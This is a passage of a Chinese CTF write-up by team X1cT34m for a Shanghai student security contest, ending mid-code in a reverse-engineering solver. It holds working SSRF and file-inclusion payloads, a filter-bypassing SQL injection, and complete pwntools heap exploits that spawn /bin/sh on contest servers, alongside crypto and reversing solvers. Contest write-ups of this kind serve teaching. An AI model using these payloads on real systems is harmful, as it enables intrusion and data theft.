上海大学生网络安全大赛 writeup by X1cT34m

上海大学生网络安全大赛 Writeup by X1cT34m-小绿草信息安全实验室

WEB

babyt5

  • strpos对参数解码存在问题
  • 通过.%2570hp绕过
  • 访问?x=file:///var/www/html/flag.%2570hp得到hint:/etc/hosts
  • 访问/etc/host得到内网网段,经过http://爆破,得到02网段存在web服务,访问之,发现是一个任意文件包含
    <!-- include $_GET[a]; -->
  • 利用dict://探测该主机端口,得到25端口存在SMTP服务,查看/etc/passwd确认。
  • filter伪协议base64编码读取www-data的日志,发现大量后门。
  • payload
    ?x=http://172.18.0.2/?a=/var/mail/www-data%261=readfile('/Th7s_Is_Flag');

    flag{add386bb8e04d516c1e33d91cb939fbf}

decade

首先构造数字46
chr(next(ord(strrev(crypt(serialize(array())))));# 有概率得到46

chdir(next(scandir(chr(ord(strrev(crypt(serialize(array()))))))));#改变目录

echo(implode(file(end(scandir(chr(ord(strrev(crypt(serialize(array()))))))))));#读取文件

把第二个和第三个合起来得到payload:
echo(implode(file(end(scandir(chr(ord(strrev(crypt(serialize(array(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array())))))))))))))))))));

多访问几次就能getflag了

上海大学生网络安全大赛 Writeup by X1cT34m-小绿草信息安全实验室

flag{a6776a20-858b-443a-9dbe-688337afd0db}

easysql

简单查看一下网页,注入点应该在这
上海大学生网络安全大赛 Writeup by X1cT34m-小绿草信息安全实验室

简单fuzz一下,发现过滤了如下(可能不全)
上海大学生网络安全大赛 Writeup by X1cT34m-小绿草信息安全实验室

我们使用如下语句可以查看到数据库版本,和库名

id=0' union/**/select * from (select 1)a join (select database())b join (select 3)c join (select version())d %23
上海大学生网络安全大赛 Writeup by X1cT34m-小绿草信息安全实验室

这边过滤了or,我们就不能使用imformation_schema了,但是这边mysql的版本是5.6.46 ,有新特性,innodb_index_stats和 innodb_table_stats。
所以直接爆表

id=0' union/**/select * from (select 1)a join (select group_concat(table_name) from mysql.innodb_table_stats where database_name=schema())b join (select 3)c join (select version())d %23

结果如下
上海大学生网络安全大赛 Writeup by X1cT34m-小绿草信息安全实验室

这下就很简单了,直接出flag

id=0' union/**/select * from (select 2)a join (select * from cccttffff.fl111aa44a99g)b%23
上海大学生网络安全大赛 Writeup by X1cT34m-小绿草信息安全实验室

flag{189c8b6bfa1d2f11127f2f4e1fe5efa4}

Misc

签到

根据题目描述,大概知道010Editor文件应该被改了,注册失败可以拿flag。

拿正常的010Editor,把正常的010Editor和改过的010Editor对比一下,发现flag:

上海大学生网络安全大赛 Writeup by X1cT34m-小绿草信息安全实验室

flag{e9121ab0-6533-4bd8-bfb3-fe05a49d8ff4}

Crypto

poly_revenge

多项式到底是什么不重要。

代码审计:

上海大学生网络安全大赛 Writeup by X1cT34m-小绿草信息安全实验室

就是一个仿射密码。

上海大学生网络安全大赛 Writeup by X1cT34m-小绿草信息安全实验室

给了两个明密文对,可以直接算出a和b。

把b减过去,再除下a,就能得到m:

上海大学生网络安全大赛 Writeup by X1cT34m-小绿草信息安全实验室

exp.sage

F.<x> = GF(2)[];
pol = x**255+ x**143+ x**47 + x**3 + 1

r1 = '8eeb27d8c2776920bd4672bbcee6d1ebf357c81419e2c3e2073a1e241dbd'
r2 = '8e4188999c007557e481d4dfcf51a8bb92a752ebac7015967f1133387c7c'
c1 = '237b20405cf83f261749fba5507ed14cb566e3722a93308c7752297d92a8338c'
c2 = '1f8fe9b5e32500c3d306924938d1f443b3718ec410c380944503311ff932f528'
c3 = '1a99ff13954d42e6a21af67aa58e2df8b7bec68f499edf992c95b25326ed768c'
c4 = '1e63622141285872093eda8da6c7a94ad7c50e695fdc6ed9bd8adaf4c6c40b14'

def hex2pol(m):
    m = bin(int(m, 16))[2 :]
    f1, ii = 0  ,0  
    for cc in m[::-1]:
        f1 += int(cc) * x**ii
        ii +=1
    return f1

def pol2hex(pol):
    h = pol.exponents()
    enc = ''
    for i in range(256):
        if i in h:
            enc += '1'
        else:
            enc += '0'
    enc = hex(int(enc[::-1],2)).lstrip('0x').rstrip('L').zfill(64)
    return enc

m1 = hex2pol(r1)
m2 = hex2pol(r2)
c1 = hex2pol(c1)
c2 = hex2pol(c2)
c3 = hex2pol(c3)
c4 = hex2pol(c4)

a = (c1 - c2) * inverse_mod((m1 - m2), pol) % pol
b = (c2 - a * m2) % pol

print(a)
print(b)

inv_a = inverse_mod(a, pol)
m3 = pol2hex((c3 - b) * inv_a % pol)[4:].decode('hex')
m4 = pol2hex((c4 - b) * inv_a % pol)[4:].decode('hex')
print(m3 + m4)
上海大学生网络安全大赛 Writeup by X1cT34m-小绿草信息安全实验室

flag{724240c9-56cd-4cab-b0c3-96b3196eb021}

poly

思路跟上题一模一样。

只不过这一题的a=1,b=0。

当时按上一题的思路算出来a=1,就感觉很奇怪。一看output,wtf,明文和密文居然一样!这。。。。

直接把最后两组输出从hex转成ascii就能得到flag。

exp.py

c1 = '0000476f6f6421546869735f69735f666c61673a666c61677b36303639636166'
c2 = '0000362d303965312d343934612d626362352d6239346538663238383937317d'

m1 = bytes.fromhex(c1[4:])
m2 = bytes.fromhex(c2[4:])
print(m1 + m2)
# b'Good!This_is_flag:flag{6069caf6-09e1-494a-bcb5-b94e8f288971}'

flag{6069caf6-09e1-494a-bcb5-b94e8f288971}

RSA

上海大学生网络安全大赛 Writeup by X1cT34m-小绿草信息安全实验室

从ouput里可以直接得到p+q和pq,分别记作为a,b。

上海大学生网络安全大赛 Writeup by X1cT34m-小绿草信息安全实验室

解下方程,即可得到p, q。

上海大学生网络安全大赛 Writeup by X1cT34m-小绿草信息安全实验室

e没给?没关系,给了范围和一个明密文对,直接爆破即可求出。

n = ...
c1 = ...
for e in range(1, 1000):
    if pow(123, e, n) == c1:
        print(e)
# 251

exp.py:

# python2
import gmpy2
from Crypto.Util.number import *

n = 9538795663851271297602738029671089878718012242935213096566250130325046936720540247534143498025477544161347330379679111765871420732255741210434736423951962189227302658997497664520929375215715960063615792480965807127438948044298348300153102760490410578638259665656608784635088735809470916136628779400145983632930861883762707606629208260803446083579674497451514650309351925430391515629898218875049677870989016071086844819626778388370764400242376469343158294638240660190754978627356076115228410162956087266527271225439142347304100660800517276772407728290414074912243665126741030948775883739544952378188264714716087909797
frac = 19077591327702542595205476059342179757436024485870426193132500260650093873441080495068286996050955088322694660759358223531742841464511482420869472847903924378454605317994995329041858750431431920127231584961931614254877896088596696600306205520980821157276519331313217569270177471618941832273257558800291967266057799408185825199394392306374394195697993019961311696247374832761757990150416392201444079060627610573918631913438062954960835929982836033906925917632413007648356037059843552967726871763559759125837289869091638924336309932526582201350695938677991368335828814565265478203873169858685929462350511138398905572292
c1 = 368284101618076523549199130884422355928051525996327977632544904437878504262870825378516827225793010165434494157238379685995430409966951122729243411694569562164062815098110639750101378457641471316188502263725098231679401928494160942213175404259256770984218593245458108598930926260386443799301699336309331946341173652201791293571029025818674575198311845811957606474490230382511996537893448524426809391980637983473305318819523408854264623254226127223862150173575206444726570183096891630129244778802793476295746913846105454198627
c2 = 7303495910407762399046490836902121070389476875516762048462433039234972742941586801378979220008051262826174054961747648114128456872349675769941760630519744351742977740846748646739901172672743584989842268056810152117350241337045055812845489372389014195433916347255846499434232234822333192328886207187844781726928951986353054876826105507064928478812402103648940709131760865763234071703554208057808885564381400571862422316195578258814602362582573148358552148686182480215663291366798585241933446701357953551496955627421526567152576426417189707335038601040167826900549139608192971559659991213411381604721734898065256138516

e = 251
p_q = frac - 2*n

a, b = p_q, n
root, t = gmpy2.iroot(a**2 - 4*b, 2)
assert(t)

q = (a+root) // 2
p = a - q
assert(p*q == n)

d = inverse(e, (p-1)*(q-1))
m = pow(c2, d, n)
print(long_to_bytes(m))

flag{bdb021a6-abf6-435a-8ddc-bda48d4093cc}

PWN

boring_pwn

问题出在abs的经典漏洞上,找了就可以发现abs(0x80000000)%48是-32,然后可以edit pre_size跟size,之后就是常规打法。

from pwn import *
libc=ELF('./libc.so')
#r=process('./pwn')
r=remote('8sdafgh.gamectf.com',10001)
def gd():
    gdb.attach(r)
    pause()

def add(choice,content):
    r.sendlineafter('5.Exit','1')
    r.sendlineafter('.Large',str(choice))
    r.sendafter('Input Content:',content)

def free(idx):
    r.sendlineafter('5.Exit','3')
    r.sendlineafter('one do you want to delete?',str(idx))

def edit(idx,off,content):
    r.sendlineafter('5.Exit','2')
    r.sendlineafter('one do you want to update',str(idx))
    r.sendlineafter(' you want to update?',str(off))
    r.sendafter('Input Content:',content)

def show(idx):
    r.sendlineafter('5.Exit','4')
    r.sendlineafter('one do you want to view?',str(idx))

#1->0x20,2->0x30.3->0x40
#edit have problem about abs and only 2 can trig
add(3,'/bin/sh\n')
add(2,'1\n')
add(3,'2\n')#0x50
add(2,'3\n')#0x40
add(2,'4\n')#0x40
add(2,'5\n')
edit(1,0x80000000,p64(0)*3+p64(0x91+0x40)+'\n')
free(1)
add(2,'\n')#6
show(6)
r.recvuntil('\x0a')
leak=u64(r.recv(6).ljust(8,'\x00'))
print hex(leak)
libc_base=leak-234-0x10-libc.symbols['__malloc_hook']
print hex(libc_base)
#7 and 2 is same and 0x50
#8 and 3 is same and 0x40
add(3,'7\n')
add(2,'8\n')
free(3)
edit(8,0,p64(0x51)+'\n')
add(2,'9\n')
free(2)
edit(7,0,p64(libc_base+libc.symbols['__malloc_hook']+0x20)+'\n')
add(3,'10\n')
add(3,p64(0)*7+p64(libc_base+libc.symbols['__malloc_hook']-0x10))
add(3,p64(libc_base+0xf1147)+'\n')
r.interactive()
上海大学生网络安全大赛 Writeup by X1cT34m-小绿草信息安全实验室

flag{d7ca9cc3357d3d0c0acc86b389859756}

login

出题人留的洞有点多,uaf,函数指针,甚至我还发现了整形溢出导致的栈溢出。。。
最后选择了fastbin的分配原则导致3跟2分别可以劫持到1跟0的存储name跟函数的堆区,然后伪造出unsorted bin后爆破获取libc。

from pwn import *
lib=ELF('./libc-2.23.so')
def login(ids, length, password):
    r.sendline("1")
    r.sendlineafter("user id:\n", str(ids))
    r.sendlineafter("length:\n", str(length))
    r.sendafter("password:\n", password)
    data = r.recvuntil("5.Exit\n")
    return data

def add(id,len,passw):
    r.sendlineafter('Choice:','2')
    r.sendlineafter('he user id:',str(id))
    r.sendlineafter(' password length:',str(len))
    r.sendafter("t password:",passw)

def free(id):
    r.sendlineafter('Choice:','3')
    r.sendlineafter('he user id:',str(id))

def edit(id,passw):
    r.sendlineafter('Choice:','4')
    r.sendlineafter('he user id:',str(id))
    r.sendafter('ew pass:',passw)

def gd():
    gdb.attach(r)
    pause()
r=remote('8sdafgh.gamectf.com',20000)
#r=process('./login')
elf=ELF('./login')
add(0,0x18,p64(0)+p64(0xf1))#
add(1,0x18,p64(elf.got['read']))
free(0)
add(2,0x18,'\x08')
free(1)
add(3,0x18,'\x20')
add(4,0x18,'/bin/sh')
add(5,0x50,'/bin/sh')
edit(0,p64(0xa1))
edit(2,'\x10')
free(0)
edit(3,'\x15')
libc = 0x7f
while(1):
    x = login(1, 0xff, p64(libc))
    if "Wrong password!" in x:
        libc = libc + 1
        libc = libc % 0x100
    else:
        break

print 'stage_one'
libc = libc * 0x100

edit(3, "\x14")
while(1):
    x = login(1, 0xff, p64(libc))
    if "Wrong password!" in x:
        libc = libc + 1
    else:
        break

print 'stage_two'
libc = libc * 0x100

edit(3, "\x13")
while(1):
    x = login(1, 0xff, p64(libc))
    if "Wrong password!" in x:
        libc = libc + 1
    else:
        break

print 'stage_three'
libc = libc * 0x100

edit(3,"\x12")
while(1):
    x = login(1, 0xff, p64(libc))
    if "Wrong password!" in x:
        libc = libc + 1
    else:
        break

print 'stage_four'
libc = libc * 0x100

edit(3,"\x11")
while(1):
    x = login(1, 0xff, p64(libc))
    if "Wrong password!" in x:
        libc = libc + 1
    else:
        break

print 'stage_five'
libc = libc * 0x100 + 0x78

edit(3,"\x10")
while(1):
    x = login(1, 0xff, p64(libc))
    if "Wrong password!" in x:
        libc = libc + 1
    else:
        break

print hex(libc)
libc_base=libc-88-0x10-lib.symbols['__malloc_hook']
sys=libc_base+lib.symbols['system']
print hex(sys)
edit(3,"\xb8")
edit(1,p64(sys))
r.sendline("1")
r.sendlineafter("user id:\n", str(4))
r.sendlineafter("length:\n", str(0xff))
r.sendafter("password:\n", "/bin/sh\x00")
r.interactive()
上海大学生网络安全大赛 Writeup by X1cT34m-小绿草信息安全实验室

flag{82f67447e165a7fadfcf2b3229e82237}

SlientNote

emmm,感觉是个unlink水题,但是。。。
为什么我改free.got->puts.got会报错???
所以不能做到一发入魂差评
最后盲猜2.23,来强制爆破真实地址,是1/4096
差点跑死。

from pwn import *

def add(choice, content):
    r.sendline("1")
    r.sendlineafter("add?\n", str(choice))
    r.sendlineafter("Content:\n", content)
    r.recvuntil("4.Exit\n")

def free(choice):
    r.sendline("2")
    r.sendlineafter("delete?\n", str(choice))
    r.recvuntil("4.Exit\n")

def edit(choice, content):
    r.sendline("3")
    r.sendlineafter("update?\n", str(choice))
    r.sendlineafter("Content:\n", content)
    r.recvuntil("4.Exit\n")
def gd():
    gdb.attach(r)
    pause()

while 1:
    #r = process("./pwn")
    r = remote("8sdafgh.gamectf.com", "35555")

    r.recvuntil("4.Exit\n")

    add(2, p64(0) * 34 + p64(0) + p64(0x21) + p64(0) * 3 + p64(0x21))
    add(1, "zihu4n")
    free(2)
    add(1, "zihu4n")
    add(1, "zihu4n")
    payload = p64(0) + p64(0x21)+p64(0x00000000006020D8-0x18)+p64(0x00000000006020D8-0x10)+p64(0x20)+p64(0xf0)
    edit(2, payload)
    free(1)
    #gd()
    #unlink
    payload = "/bin/sh\x00" + p64(0) + p64(0x602018)
    edit(2, payload)
    edit(1, "\x90\xd3\xa8")
    try:
        r.sendline("2")
        r.sendlineafter("delete?\n", str(2))
        #gdb.attach(r)
        r.recvuntil(":")
        r.interactive()
        break
    except EOFError as e:
        r.close()
上海大学生网络安全大赛 Writeup by X1cT34m-小绿草信息安全实验室

flag{be2f9d4a6de0cefd2e48d83c001ced9d}

Re

Puzzle

#include <stdio.h>
bool __cdecl check(char *a1)
{
  char *v1; // ecx
  bool result; // al

  int A1=927,A2=104,A3=521,A4=617,A5=298,A6=417,A7=138,A8=712;
  v1 = a1;

  while ( 2 )
  {
    switch ( *v1 )
    {
      case 0:
        A5 &= A1;
        A4 *= A5;
        goto LABEL_4;
      case 1:
        if ( !A4 )
          goto LABEL_6;
        A5 /= A4;
        A6 += A2;
        goto LABEL_4;
      case 2:
        A3 ^= A2;
        A8 += A7;
        goto LABEL_4;
      case 3:
        A8 -= A3;
        A3 &= A6;
        goto LABEL_4;
      case 4:
        A2 *= A7;
        A4 -= A1;
        goto LABEL_4;
      case 5:
        A7 ^= A4;
        A1 -= A8;
        goto LABEL_4;
      case 6:
        if ( !A8 )
          goto LABEL_6;
        A2 |= A6 / A8;
        A6 /= A8;
        goto LABEL_4;
      case 7:
        A1 += A5;
        A2 |= A6;
        goto LABEL_4;
      case 8:
        A7 *= A4;
        A3 -= A8;
        goto LABEL_4;
      case 9:
        A5 += A2;
        A4 ^= A3;
LABEL_4:
        if ( ++v1 != a1 + 8 )
          continue;
        result = (A1 == 231) + (A2 == 14456) + (A3 == 14961) + (A4 == -13264) + (A5 == 16) + (A6 == 104) + (A7 == -951) == 7;
        if ( A8 != -239 )
          goto LABEL_6;
        break;
      default:
LABEL_6:
        result = 0;
        break;
    }
    return result;
  }

} 

int main()
{
    char buf[10] = {0};
    int i0,i1,i2,i3,i4,i5,i6,i7;
    for(i0=0;i0<10;i0++)
    for(i1=0;i1<10;i1++)
    for(i2=0;i2<10;i2++)
    for(i3=0;i3<10;i3++)
    for(i4=0;i4<10;i4++)
    for(i5=0;i5<10;i5++)
    for(i6=0;i6<10;i6++)
    for(i7=0;i7<10;i7++){
        buf[0] = i0;
        buf[1] = i1;
        buf[2] = i2;
        buf[3] = i3;
        buf[4] = i4;
        buf[5] = i5;
        buf[6] = i6;
        buf[7] = i7;
        if(check(buf))
        {
            int i;
            for(i=0;i<8;i++)
                printf("%d",buf[i]); 
            puts("tql"); 
        }
    }
}

解出61495072
把值放入4018D0函数中//类似rc4
然后解出7aaa29982a98eaab
输入出flag

flag{5cb92582-66a8-e5b7-d3bf-3b99df8ac7f0}

touch of Satan

这一题最后结束的时候差一点交上flag。。 ignb!

C++逆向,flag格式为flag{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}
总长度42,check-的位置,一共4处,然后根据-分隔,放入vector中,根据flag括号中的第一位,重新排列,变成一个32位的字符串
然后传入一个加密函数中,类似AES,key为crc32的字节码,这里有反调试,要硬件断点

逆向加密算法得:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h> 

unsigned char BOX[] =
{
  0x03, 0x08, 0x0F, 0x01, 0x0A, 0x06, 0x05, 0x0B, 0x0E, 0x0D, 
  0x04, 0x02, 0x07, 0x00, 0x09, 0x0C, 0x0F, 0x0C, 0x02, 0x07, 
  0x09, 0x00, 0x05, 0x0A, 0x01, 0x0B, 0x0E, 0x08, 0x06, 0x0D, 
  0x03, 0x04, 0x08, 0x06, 0x07, 0x09, 0x03, 0x0C, 0x0A, 0x0F, 
  0x0D, 0x01, 0x0E, 0x04, 0x00, 0x0B, 0x05, 0x02, 0x00, 0x0F, 
  0x0B, 0x08, 0x0C, 0x09, 0x06, 0x03, 0x0D, 0x01, 0x02, 0x04, 
  0x0A, 0x07, 0x05, 0x0E, 0x01, 0x0F, 0x08, 0x03, 0x0C, 0x00, 
  0x0B, 0x06, 0x02, 0x05, 0x04, 0x0A, 0x09, 0x0E, 0x07, 0x0D, 
  0x0F, 0x05, 0x02, 0x0B, 0x04, 0x0A, 0x09, 0x0C, 0x00, 0x03, 
  0x0E, 0x08, 0x0D, 0x06, 0x07, 0x01, 0x07, 0x02, 0x0C, 0x05, 
  0x08, 0x04, 0x06, 0x0B, 0x0E, 0x09, 0x01, 0x0F, 0x0D, 0x03, 
  0x0A, 0x00, 0x01, 0x0D, 0x0F, 0x00, 0x0E, 0x08, 0x02, 0x0B, 
  0x07, 0x04, 0x0C, 0x0A, 0x09, 0x03, 0x05, 0x06, 0x0D, 0x03, 
  0x0B, 0x00, 0x0A, 0x06, 0x05, 0x0C, 0x01, 0x0E, 0x04, 0x07, 
  0x0F, 0x09, 0x08, 0x02, 0x05, 0x08, 0x02, 0x0E, 0x0F, 0x06, 
  0x0C, 0x03, 0x0B, 0x04, 0x07, 0x09, 0x01, 0x0D, 0x0A, 0x00, 
  0x0C, 0x09, 0x0F, 0x04, 0x0B, 0x0E, 0x01, 0x02, 0x00, 0x03, 
  0x06, 0x0D, 0x05, 0x08, 0x0A, 0x07, 0x00, 0x09, 0x0A, 0x07, 
  0x0B, 0x0E, 0x06, 0x0D, 0x03, 0x05, 0x0C, 0x02, 0x04, 0x08, 
  0x0F, 0x01, 0x05, 0x00, 0x08, 0x03, 0x0A, 0x09, 0x07, 0x0E, 
  0x02, 0x0C, 0x0B, 0x06, 0x04, 0x0F, 0x0D, 0x01, 0x08, 0x0F, 
  0x02, 0x09, 0x04, 0x01, 0x0D, 0x0E, 0x0B, 0x06, 0x05, 0x03, 
  0x07, 0x0C, 0x0A, 0x00, 0x0F, 0x0A, 0x01, 0x0D, 0x05, 0x03, 
  0x06, 0x00, 0x04, 0x09, 0x0E, 0x07, 0x02, 0x0C, 0x08, 0x0B, 
  0x03, 0x00, 0x06, 0x0D, 0x09, 0x0E, 0x0F, 0x08, 0x05, 0x0C, 
  0x0B, 0x07, 0x0A, 0x01, 0x04, 0x02
};

unsigned char skey[528] =
{
  0xEE, 0xC8, 0x0B, 0x9C, 0xC8, 0x0A, 0xFE, 0xCF, 0x98, 0xB7, 
  0x03, 0x1D, 0x85, 0x7B, 0x11, 0x05, 0x54, 0xA2, 0x54, 0xBE, 
  0xF4, 0x79, 0x52, 0x6E, 0x41, 0x1B, 0x10, 0xE5, 0xE3, 0x1A, 
  0xA0, 0x7D, 0x4D, 0xBA, 0xBD, 0x1A, 0x2D, 0x0A, 0xBB, 0x37, 
  0x7D, 0x28, 0x30, 0x54, 0xE2, 0xE7, 0x26, 0xF2, 0x69, 0xC1, 
  0x51, 0x5F, 0x45, 0x33, 0xC3, 0xBC, 0xCA, 0x6D, 0x0B, 0x5B, 
  0x97, 0xC2, 0x63, 0x3F, 0x77, 0xBC, 0xD4, 0xE3, 0x15, 0x18, 
  0x22, 0x91, 0xC1, 0xB9, 0x4D, 0xAB, 0xC4, 0x1D, 0x70, 0xC1, 
  0xC9, 0x87, 0x9C, 0x38, 0x4F, 0x03, 0x61, 0xDE, 0xBE, 0xC1, 
  0x1B, 0x32, 0x1D, 0xE5, 0x8F, 0xA6, 0xFF, 0x2C, 0x64, 0xFA, 
  0xED, 0x16, 0x87, 0x0F, 0x5E, 0x76, 0x91, 0x4C, 0x05, 0x90, 
  0x47, 0xFA, 0x03, 0xCF, 0x2E, 0x12, 0x35, 0x42, 0xD9, 0x45, 
  0xAF, 0x55, 0x64, 0xE9, 0x0D, 0xBE, 0xE1, 0xCC, 0xE0, 0x7C, 
  0x5A, 0x49, 0xBC, 0x22, 0x76, 0x7B, 0xC7, 0x05, 0xC6, 0xA3, 
  0x4F, 0x60, 0xB5, 0x26, 0x44, 0xEB, 0x8C, 0xB9, 0x6A, 0xF7, 
  0x17, 0x03, 0xA7, 0x27, 0xDC, 0x98, 0x12, 0xAB, 0xF1, 0x7F, 
  0xD0, 0xFD, 0x9A, 0x9B, 0xE5, 0xFC, 0x9D, 0xF8, 0xA7, 0x17, 
  0xCA, 0xE4, 0xE0, 0xD3, 0x6B, 0x2E, 0x5C, 0xB6, 0x74, 0xD7, 
  0xD7, 0xED, 0xB2, 0x9B, 0x55, 0xD6, 0x1B, 0xD2, 0x85, 0x55, 
  0xC7, 0xD3, 0xA7, 0xDD, 0x24, 0x56, 0x5A, 0x5F, 0xE4, 0xA9, 
  0xFE, 0x94, 0x50, 0x0B, 0xF0, 0x02, 0x9E, 0x25, 0x74, 0xB5, 
  0x63, 0x53, 0x3F, 0x44, 0xA3, 0x17, 0x5E, 0xA0, 0xE5, 0xF5, 
  0x6B, 0xF2, 0xC1, 0x67, 0xA6, 0xEE, 0x1D, 0x59, 0x4F, 0x2F, 
  0xFB, 0x4F, 0x98, 0x96, 0xB8, 0x75, 0xD9, 0xCA, 0xCF, 0x65, 
  0x94, 0x7C, 0xCF, 0xA3, 0x39, 0x8B, 0x9E, 0x3F, 0xA4, 0x25, 
  0xC4, 0x4C, 0x24, 0xD3, 0xE8, 0x95, 0xE9, 0x82, 0x24, 0xD3, 
  0x28, 0x87, 0xBF, 0x26, 0x12, 0x07, 0xC8, 0xD1, 0xD3, 0xCE, 
  0x8A, 0x71, 0x0B, 0x42, 0x84, 0xF5, 0x04, 0x50, 0x2C, 0x22, 
  0xCA, 0x47, 0xBC, 0xF5, 0x31, 0x92, 0xE5, 0x43, 0x27, 0x8D, 
  0x37, 0xA7, 0xA9, 0x52, 0x30, 0xE8, 0x75, 0xF7, 0x06, 0x57, 
  0xC2, 0xD5, 0xBD, 0x32, 0x19, 0x9B, 0xA6, 0xC2, 0x3F, 0xEA, 
  0x7F, 0x2D, 0x32, 0x46, 0x8D, 0x0D, 0xB5, 0x11, 0xE4, 0x64, 
  0x83, 0xFB, 0x1B, 0xCF, 0x80, 0x17, 0x09, 0xAD, 0xBE, 0xF8, 
  0x8A, 0x83, 0x21, 0xEC, 0x13, 0xB2, 0xD1, 0xF0, 0x27, 0x3F, 
  0x3B, 0xE4, 0xCC, 0x23, 0xE5, 0x82, 0x6B, 0xB0, 0x81, 0x46, 
  0x1C, 0x72, 0x8F, 0x6A, 0x69, 0xE6, 0xBE, 0xA9, 0xD6, 0xA9, 
  0x3A, 0x9A, 0x55, 0xC2, 0xFB, 0xDB, 0xB2, 0x89, 0x21, 0x6A, 
  0xD8, 0x26, 0x32, 0x87, 0x97, 0x56, 0x33, 0xF2, 0x3A, 0xEB, 
  0x7E, 0xAA, 0x98, 0x00, 0xF5, 0x50, 0x2B, 0x2C, 0x96, 0x56, 
  0x4C, 0x3A, 0x21, 0x7F, 0xA9, 0x33, 0xE8, 0xA0, 0xA2, 0x7A, 
  0xB3, 0xB7, 0x1B, 0x58, 0xB1, 0x09, 0xF0, 0x8E, 0x0C, 0xEF, 
  0xD6, 0x51, 0x22, 0xAE, 0x1D, 0xBE, 0xCF, 0x57, 0x6E, 0x73, 
  0xA5, 0x4A, 0xE5, 0x44, 0xB7, 0x96, 0xC0, 0xC5, 0x8C, 0x7F, 
  0x82, 0x82, 0x8B, 0xC4, 0xF4, 0xE2, 0xF4, 0xEF, 0xB6, 0x95, 
  0x19, 0x7E, 0xB0, 0xE9, 0x7F, 0xEA, 0x80, 0x78, 0x57, 0x04, 
  0x59, 0x52, 0x8A, 0x18, 0x7E, 0xCA, 0x5D, 0x05, 0x97, 0x84, 
  0x41, 0xD2, 0x22, 0x53, 0x48, 0xAC, 0x94, 0x58, 0x31, 0xC7, 
  0x13, 0x68, 0x66, 0xD9, 0xE5, 0xC0, 0x12, 0xD8, 0x9F, 0x79, 
  0x23, 0x8F, 0x0A, 0xC4, 0xAA, 0xE9, 0x7D, 0xB7, 0xA2, 0xC8, 
  0x7A, 0xDC, 0xC3, 0x8C, 0x78, 0x1F, 0x32, 0xE1, 0xA3, 0x1F, 
  0x2E, 0xDC, 0xF4, 0xC9, 0x51, 0xAB, 0xD7, 0xE1, 0x67, 0x54, 
  0x56, 0xF9, 0xDD, 0x0F, 0xB1, 0x85, 0x1A, 0xB2, 0x11, 0x64, 
  0xDD, 0x4E, 0xCA, 0x86, 0x72, 0x10, 0xF4, 0xC5
};

void xorsubkey(unsigned int *a1,int r,unsigned int * a3)
{
    for(int i = 0;i < 4; i++)
    {
        a1[i] ^= a3[4*r + i];
    }
}

unsigned int ROR(unsigned int x,unsigned int r)
{
    r = r&31;
    return  (((x) >> (r)) | ((x) << (32 - (r))));
}
unsigned int ROL(unsigned int x,unsigned int r)
{
    r = r&31;
    return  (((x) << (r)) | ((x) >> (32 - (r))));
}

void enc(int *a1, int a2, unsigned __int8 *BOX)
{
  unsigned int v3; // ST3C_4
  int v5[4] = {0}; // [rsp+18h] [rbp-30h]
  signed int i; // [rsp+28h] [rbp-20h]

  for ( i = 0; i <= 31; ++i )
  {
    v3 = BOX[16 * (a2 % 8) + (4 * (a1[2] >> (i & 0x1F)) & 4 | 2 * (a1[1] >> (i & 0x1F)) & 2 | (a1[0] >> (i & 0x1F)) & 1 | 8 * (a1[3] >> (i & 0x1F)) & 8)];
    v5[0] |= ((v3 >> 0) & 1) << (i & 0x1F);
    v5[1] |= ((v3 >> 1) & 1) << (i & 0x1F);
    v5[2] |= ((v3 >> 2) & 1) << (i & 0x1F);
    v5[3] |= ((v3 >> 3) & 1) << (i & 0x1F);
  }
  a1[0] = v5[0];
  a1[1] = v5[1];
  a1[2] = v5[2];
  a1[3] = v5[3];
}

int findindex(unsigned char * arr,int value)
{
    int i;
    for(i = 0;i < 0x10; i++)
    {
        if(arr[i] == value)
        {
            return i;
        }
    }
    return -1;
}
void dec(int *a1, int a2, unsigned __int8 *BOX)
{
    unsigned char index;
    int v5[4] = {0};
    for(int i = 0;i <= 31; i++)
    {
        unsigned char value = (4 * (a1[2] >> (i & 0x1F)) & 4 | 2 * (a1[1] >> (i & 0x1F)) & 2 | (a1[0] >> (i & 0x1F)) & 1 | 8 * (a1[3] >> (i & 0x1F)) & 8);
        index = findindex(&BOX[16 * (a2 % 8)],value);
        v5[0] |= ((index >> 0) & 1) << (i & 0x1F);
        v5[1] |= ((index >> 1) & 1) << (i & 0x1F);
        v5[2] |= ((index >> 2) & 1) << (i & 0x1F);
        v5[3] |= ((index >> 3) & 1) << (i & 0x1F);
    }
    a1[0] = v5[0];
    a1[1] = v5[1];
    a1[2] = v5[2];
    a1[3] = v5[3];
}

void dewhat(unsigned int * a)
{
    a[2] = ROR(a[2],0xea);
    a[0] = ROR(a[0],0xfb);
    a[2] ^= a[3] ^ (a[1] << 7);
    a[0] ^= a[3] ^ a[1];
    a[3] = ROR(a[3],0xf9);
    a[1] = ROR(a[1],0xff);
    a[3] ^= a[2] ^ (a[0] << 3);
    a[1] ^= a[0] ^ a[2];
    a[2] = ROR(a[2],0xfd);
    a[0] =  ROR(a[0],0xf3);
}

void what(unsigned int *a1)
{
  unsigned int *a; // ST00_8
  __int64 result; // rax

  a = a1;
  *a1 = ROL(*a1, 0xF3);
  a1[2] = ROL(a1[2], 0xFD);
  a[1] ^= *a ^ a[2];
  a[3] ^= a[2] ^ 8 * *a;
  a1[1] = ROL(a1[1], 0xFF);
  a1[3] = ROL(a1[3], 0xF9);
  *a ^= a[3] ^ a[1];
  a[2] ^= a[3] ^ (a[1] << 7);
  *a1 = ROL(*a1, 0xFB);
  result = ROL(a1[2], 0xEA);
  a1[2] = result;
}

void decode(char * flagenc)
{
    xorsubkey((unsigned int *)flagenc,32,(unsigned int *)skey);
    dec((int *)flagenc,31,BOX);
    xorsubkey((unsigned int *)flagenc,31,(unsigned int *)skey);
    for(int i = 30;i >= 0; i--)
    {
        dewhat((unsigned int *)flagenc);
        dec((int *)flagenc,i,BOX);
        xorsubkey((unsigned int *)flagenc,i,(unsigned int *)skey);
    }
}

int main()
{
    char flagenc[32] = {0x94, 0xBA, 0x23, 0x68, 0xD7, 0x5C, 0x97, 0x09, 0x99, 0xA7, 
  0x7D, 0x3F, 0x3C, 0xD0, 0x27, 0x07, 0x1C, 0x14, 0x8C, 0x9F, 
  0xC4, 0x26, 0x20, 0x6C, 0xAC, 0x27, 0x49, 0x36, 0x51, 0xD7, 
  0x2D, 0xFD};
    decode(&flagenc[0]);
    decode(&flagenc[16]);
